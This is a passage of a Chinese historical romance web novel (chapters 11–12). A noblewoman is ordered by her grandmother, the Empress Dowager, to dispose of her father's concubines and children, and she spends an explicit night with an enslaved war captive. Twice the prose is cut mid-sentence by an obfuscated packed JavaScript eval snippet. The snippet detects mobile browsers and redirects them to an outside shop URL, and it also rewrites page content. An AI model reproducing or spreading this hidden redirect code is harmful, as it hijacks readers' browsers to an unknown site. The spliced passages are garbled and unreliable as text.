偏殿点着几盏孤灯,刘问枢双手放在膝盖上,在床沿坐得笔直。 鼓乐鸣音随着微风飘来。 刘问枢走过去,推开门,望着天空高悬的月亮,喃喃道:“亥时三刻了。” 程曦答应他会早点回来歇息的,可入夜这么久,她还没回来。 宴会中,会有俊美健壮的舞者对她献媚吧? 是他们吸引了程曦的注意吗? 她是会拒绝,还是会……欣然接受,甚至搂着对方宿在另一处偏殿? 亦或是,有额外的什么人,让她为此改变承诺? 是相熟的豪族公子?亦或是朝堂上对她有帮助的潇洒文士? 与这些人相比,他连出席宴会的资格都没有。 真是太没用了啊。 刘问枢不喜欢这个过分清晰的认知。 他拢紧厚实的皮草长袍,“嘭”地用力合拢房门,直接脱掉长袍钻进被褥之中。 不可以妄自菲薄,程曦专门命人给他准备那些吃食,可见是重视他的用处的。 但那种事,哪个给人做男宠的不会呢? 他并不是无可取代的。 蚕丝绸缎与肌肤摩擦,刘问枢从心里无端生出一丝寒意。 程曦说的对,她找他不是为了寻欢作乐。 只做个男宠的话,可替代性太强了,他还需要展现出别的用处,才能增加自己的竞争力。 不过,伺候人的技巧也不能落下。 ……床笫间,程曦对他不够满意。 11. 第 11 章 琉璃盏拖着红烛,大殿之中华灯齐明。 大厅一侧,陈设着乐器。乐师们十指齐动,指尖流淌出弦乐飘飘。笙箫环绕,臣子跟着乐声不自觉打着拍子。 舞伎人数不多,只有三对男女。 他们穿着华美的舞衣,手持玉柄银剑,在乐声之中翩然起舞。 美人如玉,剑光如虹,令人目不暇接。 宫女手捧托盘,穿梭在食案之间,一道接一道捧上珍馐。 程太后主持的晚宴自然不会有上不得台面的行为发生。臣子们席地而坐,杯盘相交,在歌舞中放松精神,低声话家常,尽情把自己投入在这一片美食与歌舞织就的温柔乡之中。 程曦坐在程太后身边,两人食案相连。 程曦点明送给程太后的战俘三兄弟经过一下午的清洗和教导,已经被换了衣裳,送到席间。 此时此刻,他们正一起跟着内侍一起肃立在侧。 满座高官,好像全都瞎了眼睛,没一个讯问三兄弟身份的。 “外祖母,怎么样?是不是姿态俊挺。”程曦笑着问。 程太后的视线只在三个年轻男人身上扫了一眼,便不再流连,只管歪着身子和外孙女耳语。 “哀家有一件要事要交给你处置。” 程曦放下筷子,“外祖母是想让我单独开府?” “虽不中,亦不远。”程太后脸上浅浅的皱纹舒展开,“你要能把哀家交给你的这件差事办好,哀家才能确定你是不是够资格开府。” “赐宅”只是赏赐一座宅院,让人居住;但“开府”意味着,在赐下宅邸的同时,还允许开府的人为自己招聘官员,拥有踏入朝堂的政治班底。 若是有资格开府的人对上关系够硬,还可以把自己发现的贤才送进朝堂。 许多渴望展现才能的年轻学士都很乐意走这条路。 程曦自小受程太后宠爱,几乎是长在长乐宫中,被程太后亲手带大。 可即便蒙受如此恩宠,所有人对程曦的期待也从来都是让她在及笄后嫁一位皇子,做皇子妃,以后做太子妃、皇后,而不是让她入仕,和满朝文武争长论短。 程曦顿时一松手,银筷落在桌面,发出两声不引人注意的脆响。 “外祖母,您……真有让我入朝的意思?” “哀家可没少任用女官,多你一个不多,少你一个不少。这要看你自己立不立得住。”程太后脸上盈满慈爱之情,话中意思却很冰冷。 她可以作为外祖母宠爱程曦,给外孙女无穷无尽的荣华富贵,让她永远做个娇气包。 可一旦程曦踏入朝堂,她就必须要自己撑起一片天,既不能给程太后拖后腿,也不可以指望程太后给她遮风挡雨了。 程曦按住桌面的筷子,谨慎地问:“那,外祖母给我安排了什么考验?” 能知道是“考验”,看来这孩子准备好了。 程太后脸上笑容越发舒心,揭开题面:“程玉的三个侍妾和两个孩子已经被抱进宫了。你离宫的时候带走,处理掉。他打了哀家的脸,是一定要死的,他的孽种也不能留。还有你娘,不论用什么方法,让她乖乖再嫁。” 所有文字化作重量压在程曦肩膀,她情不自禁晃了晃,抓住桌面才没摔倒。 “外祖母,我……” “嗯?”程太后扬起双眉,不怒而威,眼中流露出对她的怀疑。 机会,恐怕只有一次。 程曦咬住舌尖,把嘴边的质疑咽下肚,挤出僵硬的笑脸,点头承诺:“我会处理好的,不留后患。” 她抓住面前金樽,仰头将整杯蜜酒仰头灌下。 宫女添上。 程曦却没有再喝。 到底是亲自带大的孩子,程太后有些心疼,轻轻握住程曦的手,柔声询问:“不喝了?宫里一切有我做主,小酌几杯,醉了也无妨。” 金樽在灯光下闪着迷人的光晕,对程曦充满诱惑力。 她看了金樽一会,却深吸一口气,将其远远推开,摇头郑重道:“醉酒误事,还是算了。” “破例”这种事情,有一就有二,不开头才能保证关键时刻不犯错。 祖孙二人相视而笑,都对答案很满意。 丝竹声里,又度过一个太平夜。 * 一杯果酒带不来醉意,但程曦到最后,仍旧装出一副不胜酒力的模样。 她是让侍人抬回偏殿的。 担架一进偏殿,刘问枢心里就一哆嗦。 刘问枢快步跑下台阶,“乡君,您怎么了?” “刘问枢——刘问枢,你还没睡呀!”刚一接近,一道人影已经扑进他怀里。 面如桃花,和气如兰。 软绵绵的一团小身子倚靠在刘问枢怀中,比平时更加温暖,好像抱住了一颗小太阳。 “抱紧了。”刘问枢情不自禁凑上前,用嘴唇贴了贴程曦的额头,将她打横抱起,平稳又快速地踩上台阶,将人抱回卧榻。 内侍跟上,在刘问枢身后轻声解释:“太后加封乡君,乡君拒绝了,但也高兴,就多喝了几杯。奴婢这就去打水,为乡君擦洗。” “不必了,我来吧,我能照顾好。”刘问枢一口回绝。 侍人飞快瞥了一眼跟年轻战奴黏糊的荣昌乡君,又看了看到床上还不舍得把人放下的刘问枢,头垂得更低了。 侍人马上笑着改口:“奴婢这就去抬水。” 刘问枢看着躺在他胸口上的程曦,忽然命令:“把他们都带走,乡君不需要其他人伺候。” 门口站着的四个宫女四个内侍,登时变了脸色。 伺候程曦十多年的春柳当场反唇相讥:“乡君日后不论出嫁还是招赘,奴婢都要陪伴乡君一辈子,刘郎君怕是操心得太多了。” 丫鬟和侍人都是好不容易才争斗来荣昌乡君身边位置,站住脚的。 刘问枢这个野汉子一句话就想把他们都挤走? 做梦! 刘问枢攥紧拳头,故作老实地低下头。 不等春柳露出胜利的眼神,他已经压低了声音,隐晦又直白的给出解释:“乡君今日让膳房做鹿肉。不方便你们留在外间值夜,去偏殿门口那联排的房舍休息吧。” 鹿肉在皇家的用处,声名远播。 当场让春柳哑口无言了。 “啊、啊……这……我们去给乡君熏衣裳。”春柳涨红脸,扯着另外几个避到门外。 内侍沉默地送来热水,将其放在屏风后,分外小声地提醒:“奴婢在门外值夜,刘郎君若是要热水,只管喊一声。” “不用了,你们去睡吧,明日辰末再来送水。今晚,用不上。”刘问枢在内侍惊叹的目光中合拢房门。 他配好热水,端水到床边的坐墩上,褪去程曦衣裙鞋袜后,轻手轻脚的为她拭净身体。 程曦被送回来之后,地暖的温度明显升高了。 现在,哪怕光着身子也会觉得温度宜人。 刘问枢晦涩地目光落在床榻,慢慢解开扣子,向床边靠近。 他掀开被单,将程曦抱入怀中。 肌肤相亲,体内烧了一晚上的野火透过皮肤传到程曦身上。 程曦反手抱住年轻男人,手指抚摸着他的脸,亲了一口,笑得开怀:“你好热啊。” “乡君,现在开心吗?”刘问枢微微偏着脸,吻上程曦的指尖,轻啄吻几下,锁住指腹,将指尖吮入口中,用灵活的舌头缠着手指。 程曦翻身,改成坐在刘问枢腿上。 她被用力咬了咬手指,看着上面留下两排牙印,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051915|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指戳着刘问枢脸上的酒窝:“开心啊,今天双喜临门了。” 除了要被提升名位,还有给他吃下这么多鹿肉、鹿血,不用再照顾他脸面,肆意畅快一晚上的“大喜”,对吧! 刘问枢干脆握住程曦手腕,借力让她自己捂住嘴。 他仰望着骑着自己的主人,承诺:“奴今夜会让乡君更开心的。” 这一晚,程曦没来及说出她清醒着,就已经被拉入狂乱的情潮。 热度在偏殿继续上升。 锦裘落地,床单也被拉扯得丝线崩裂。 她被刘问枢握着腰,不仅贴近看清了床帐的织就的花纹;还换位到门边,撑着门扉、透过窗栅确定了偏殿的格局。 烛火烧了一夜未熄。 晨光破晓,窗外的鸟鸣也没让这场酣战迎来终局。 程曦根本不知道自己是何时睡去的,她甚至不清楚自己到底是睡着了还是晕了过去。 直到清醒的时候,看着窗外的霞光,对时间概念模糊不清。 “乡君,现在申时六刻了。”留在房间的是已通人事的春桃,她看着程曦的脸色,机灵提醒。 程曦浑身酸软,更让她难受的是难以言说的位置似是肿了,最微小的动作也让她有种欢宴未歇的错觉。 春桃捧来内衫,为程曦穿衣,主动解释:“其他几个丫头都没出嫁,奴婢怕她们乱说乱看,让她们都去张罗其他了。” 程曦点点头。 昨晚上确实吃撑了,但享受就是享受,刘问枢愿意豁命伺候她,她总不能因为刘问枢爱岗敬业就惩罚对方,打击他工作的积极性。 只不过…… 程曦左右看了看,纳闷道:“刘问枢呢,他怎么没在,难道动了一晚上还不累?” 春桃乐不可支。 她贴着程曦耳朵赶紧说:“卯时,太后派成业公公来请乡君一块用早膳,我们推说乡君未起身。到了辰时,母后命成业公公送点心给乡君,我们又对成业公公说乡君仍旧未起。成业公公察觉不对,上报了。太后担心您是病了不敢说,带人亲自过来,撞上了……” “撞上什么了?外祖母直接推门进来,看着了?!”程曦大惊失色。 春桃彻底憋不住笑:“撞上屋子里的动静——乡君,您糊涂了,当时还没结束呢。太后大怒,当场就让人把他抓去按到水桶里明白规矩了。” 就是再孤陋寡闻,程曦也知道刘问枢这种能力天赋异禀,要是死了,天下难找第二个。 她急着追问:“那他现在在哪里?” “乡君别着急,太后没把他怎么样,只让人滚去偏厅跪着。” “那就好。去让他起来吧。”程曦放心了。 春桃再也不遮掩脸上的笑,亲昵地提醒:“奴婢已经给乡君检查过了,刘郎君没敢在您身上留下任何痕迹。因着这个,母后才没狠狠处置他。” “嗯,嗯。”程曦胡乱答应一声,穿上衣服之后,实在没脸亲自和程太后道别,只能让春桃去替她谢恩,自己催着回府。 过了一天一夜,程家要被清算的事情恐怕已经传开了。 程曦竖起耳朵,听到后面那辆副车车轮的动静,更觉心烦。 里面装着她生父的侍妾和私生子女。 人是成业送来的,没有一句额外的吩咐。 她明白,这是手握夏国权柄的太后,在等待程曦用行动给她交一份答卷。 ……不对! 春桃刚刚说,外祖母今天卯时才用早膳? 如此说来,外祖母今早也起晚了。 程曦脸蓦地一红。 她赶紧用力甩头,外祖母怎么可能向她一样色令智昏,把不该收用的人变成榻上玩物。 外祖母肯定是发现人才,高兴地彻夜恳谈! 12. 第 12 章 马车在石板上压过,车厢微微摇晃,带着逐火也飘忽不定。 烛光照在程曦脸上,半明半暗。 她扣紧桌沿,甩开芜杂的心思,打听起正事:“我睡着的一整日,都发生过什么?” 春柳情不自禁仰头谢了声苍天,开始禀报她在宫中留心到的事情:“昨天您去宴席前,就有一道敕令,调任驸马的职务,让他去余吾州。据说,程家连夜安排驸马出京,携带的行李很少呢。” 程曦低笑一声:“程辉倒是乖觉。” 程太后厌恶了程玉,程辉就尽快把人送走,可见他还不是无药可救。 看在这份“懂事”的面子上,程太后会给程辉留条不错的退路。 春桃在另一旁拼命摇头:“他们今早才让人通知到长公主,长公主大怒,进宫闹了好一场。不但把程家骂得狗血淋头,言辞中对您也颇有怨言,说……说乡君只顾着自己开心,不知道拉亲爹一把。” “是啊,幸好乡君把这一日睡过去了,不然还要跟着太后一起安抚长公主。明眼人都知道太后时给长公主出气呢。” 后半句“偏偏长公主看不透,还护着驸马”被春柳咽下肚。 她们不能说乡君母亲的坏话。 日耀长公主只有表面看着温柔,她骨子里极在意脸面,决不允许任何人在外伤了她的脸面。 所以,驸马程玉和她分居多年,她一声不吭,不允许京中对此有任何议论;程曦拒婚不做皇子妃,她也不允许程家人进公主府的大门闹腾,让人看程曦的笑话。 只是,在丈夫和女儿之间,长公主显然还是选择丈夫,把女儿排在了后头。 程曦愁上心头:“糟糕了。” 天底下确实有爽利的女人,但日耀长公主可不是那种人。 她是会把心中不快反复咀嚼,越想越气,酝酿成强烈报复心,最后给所有事件的参与者迎头痛击的类型。 过去,丈夫和女儿都是她保护的对象;但如今,女儿也是促成丈夫离乡远去,那女儿也是她要惩罚的对象之一。 只去宫中告状一回,显然不够日耀长公主撒气的。 程曦回家之后,自有一通闲气等着她来承受。 一双大手按住程曦的太阳穴,按摩的力道适中,迅速降低突生的不适感。 程曦握住刘问枢手腕凑过去亲了一口,顺手从手腕上撸下一只金钏,给刘问枢戴好。 随即,她继续问:“那外祖母怎么补偿母亲的?” 春柳忙说:“太后把长公主留在宫中吃早膳,用饭的时候,把永安侯也给请来了。听说,永安侯……” 永安侯裴俊是个鳏夫。 原配是家中给永安侯裴俊定下的,比他年长四岁。因为岳丈身体不好,永安后十一岁就早早完婚。 原配进门后分三次生育了两女两子。双胞胎女儿均早已出嫁,如今两个儿子也到了谈婚事的年龄。 永安侯正缺个操持内务的妻子。 本朝的规矩,丈夫过世,妻子守孝一年;妻子过世,丈夫守孝三个月。 但不知道是感情深厚,还是永安侯本人忙于公务,三年多来,他始终没有再婚。 永安侯比日耀长公主还小了一岁,年富力强,能力突出。 最重要的是,他的堂兄裴景一直紧密团结在程太后身边。 程太后以为,永安侯裴俊这样的男人,正是自己女儿再嫁的好人选,直接请人进宫陪着日耀长公主早饭。 永安后没有推脱,刮了头面,穿着簇新的衣裳前来赴宴。 面对程太后所有问题,永安侯全部敞开回答,没有遮掩、没有矫饰,令老太太十分满意。 至于日耀长公主……靠着他人权力生存的人,是没资格满意或者不满意的,或者说,即便不满,也只能对下面人耍耍脾气,改变不了结果。 “乡君少不了要被折腾一场。”春桃做了结论。 程曦顿时连家都不想回了。 比起和母亲交流,她真的感觉陪伴外祖母的生活更加轻松愉快。 她深吸一口气,埋头进刘问枢胸肌,深呼吸好几次,吸饱阳气缓解心情。 死道友不死贫道。 程曦果断下令:“选个能说会笑的战奴给母亲送过去。” 不管日耀长公主喜欢不喜欢,送了“赔礼”至少正名她有道歉的意思,母亲用别人发泄过情绪,也不至于太难为她了。 到时候能交流了,问题就容易解决了。 * 实际情况比程曦设想得更加糟糕。 公主府的大门已然落锁了,日耀长公主根本没给女儿和她交流的机会。 “乡君,长公主让您去程家住。您看今晚是否换个住处?”侍卫叫门后,一脸为难地向程曦禀报。 程曦打开车窗,探身朝着紧闭的大门看几眼,果断下令:“解马,用马把门撞开。” 春桃拉着程曦劝说:“乡君,要不算了吧。母后吩咐您的事不急在一日,您要是闹开了长公主只会更生气,更不愿意原谅您的。” 不急? 跟着她回到公主府的这群禁卫里面,指不定哪一个就是程太后的眼睛和耳朵。 她的一言一行,都会被完完整整反馈到程太后耳中。 若母亲耍小脾气就可以辖制程曦,程曦凭什么让程太后相信她入朝有和朝政争锋的能力? 程曦推开春桃的手,拒绝好意。 她站到车头,提声重申:“撞门!” 马车被牵到一旁停稳。 车夫给四匹骏马解下锁套,排成一排牵到公主府的正门边上,从左右后三个方向挡住后,用力抽马屁股。 疼痛让骏马“唏律律”地叫着,忍无可忍之后,它们人立而起,扬起前蹄,不断蹬踹正门,想要为自己找一条生路。 精铁马蹄和大门上的铜钉碰撞,叮当作响,远远传开。 片刻功夫,整条街的住户都派下人出来打探消息了。 闲言碎语充斥着街道。 程曦在车厢中安坐,刘问枢悄悄握住程曦的手,低声说:“乡君不必感到难受,大家应该只是好奇,没有别的意思。” 程曦反握住他的手,笑道:“你不用担心,这么大的噪音,没人不好奇才古怪呢。” 程曦自小被人伺候着长大,喂奶的、梳头的、穿衣的、管首饰的、打水的、擦窗的、扫院子的、记账的,里里外外,少说三十多个丫鬟。 她哪一刻不是被人注意着呢? 像日耀长公主这种,长在万千瞩目之下,却在意他人眼光的才是性子古怪的表现。 “乡君不觉得困扰,奴便安心了。”刘问枢伸手揽着程曦,让她能舒舒服服地靠着自己休息。 “你别‘奴’来‘奴’去的了,说‘我’。”程曦在他胸口蹭了蹭,找个舒服的姿势放松身体,“刘问枢,你声音真好听,多和我说说话。” “乡君想听什么?” “说点你没提过的私事吧,我爱听你的声音,不管说话还是低哼,入耳都很美妙。” 明明刚睡醒,可在刘问枢怀里,她又变得懒洋洋的。 刘问枢睫毛轻轻抖了几下,遮住漆黑的瞳仁里流出的冷意。 他视线一扫,车内再无其他人。 刘问枢眯起眼睛。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051916|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意贴着少女耳畔低语:“昨日乡君让人准备的菜,我吃了一干二净。” “宫中名厨确实都有好手艺。既然你夸好吃,看来没有趁机看人下菜碟,弄那些温水里闷了许久的菜,糊弄差事。”程曦闭着眼睛低语。 是他调情的话,听起来太正经了吗? 程曦的回答为什么如此的……不以为意。 刘问枢顿时对自己的能力充满怀疑,他进一步说:“乡君让人准备的菜色,都不常见,厨子们就算想,也没办法糊弄。” 程曦颔首,仍旧没睁眼,“补身的都是好东西,也不是谁都吃得上的。” “乡君觉得膳房给我补的好么?若是乡君满意,我以后可以顿顿都这么吃。” 程曦睁开眼,双手撑在刘问枢两侧,好奇道:“哦,他们做什么了,瞧你,这么念念不忘的,一直勾我答应许你一样的吃食。” 刘问枢抓着程曦的手,让她贴上自己胸口滑动,感受掌下饱满的肌肉线条:“鹿肉、鹿血、鹿茸、锁阳、杜仲、海马。” “药效出众,乡君昨夜亲口承认‘够了’的。” “怎么是这些……” 疑惑的神情终于变成了惊慌,程曦突然收紧双手,长长的指甲用力抓过皮肤。 “都是误会!下人理解错了!” “唔!” 刘问枢顿时发出一声闷哼,疼痛与爽快的情绪同时侵占了他的脸。 他低喘着仰起头,喉结不断滚动。 刘问枢控诉地看着程曦,用眼神指责她敢做不敢当,拿出证据:“乡君昨夜等到药效发挥足了的时辰才回房。” “没有这回事!”程曦急急忙忙捂住刘问枢的嘴,不允许他继续胡言乱语。 “我只是看你身上有箭痕、鞭伤,想给你补身子。你别诬赖我!” 刘问枢怀疑地看着她:“真的?” “真的!”程曦用力点头。 嘴唇贴了贴程曦掌心,湿软的舌头在掌纹扫过。 刘问枢的眼神变了,好像有缠绵的丝线把程曦紧紧包裹:“那我就信乡君一次。” “不过,”他咬了咬程曦耳垂,用只有他们俩能听到的声音说,“就算是误打误撞,乡君也很满意我补身的结果吧。” 程曦打了他一巴掌,手上力道轻得像是小猫拍人,“不满意。” 挨打的人不疼不痒,打人的人倒是脸红得几乎滴血。 “我以后,天天这样伺候乡君。”唇舌裹住耳垂,刘问枢虚揽住程曦,把人抱回怀中。 程曦锤了他几下,“谁要你天天伺候了,纵欲伤身。我才没闲工夫。” 不等刘问枢再说,侍卫已经回来禀报:“乡君,长公主命人开门了,专门派人接乡君。” 一顶轿子停在马车旁。 程曦瞬间坐直,一把推开刘问枢,直接下车坐进轿子。 少女走得利落,丝毫不受刘问枢的情绪打扰。 “走吧。” 轿子的窗帘落下,遮住了程曦的身影,连她的声音都显得分外遥远和模糊。 刘问枢被留在车厢里。 他死死盯着轿子,直到再也无法看清,才垂下眼帘,遮住眼底的失望。 * 轿子在公主府摇摇晃晃地走了将近两盏茶的时间才停下。 可落轿后,一阵混乱的脚步声过后,却没人提醒程曦下轿,外头也感知不到任何光亮。 程曦侧耳听倾听,只捕捉到轿夫们离开的脚步声。 黑暗中,响起一阵“哗啦啦”的锁链声。 程曦浑身汗毛倒竖,急忙掀开轿帘,“你们做什么?开门!”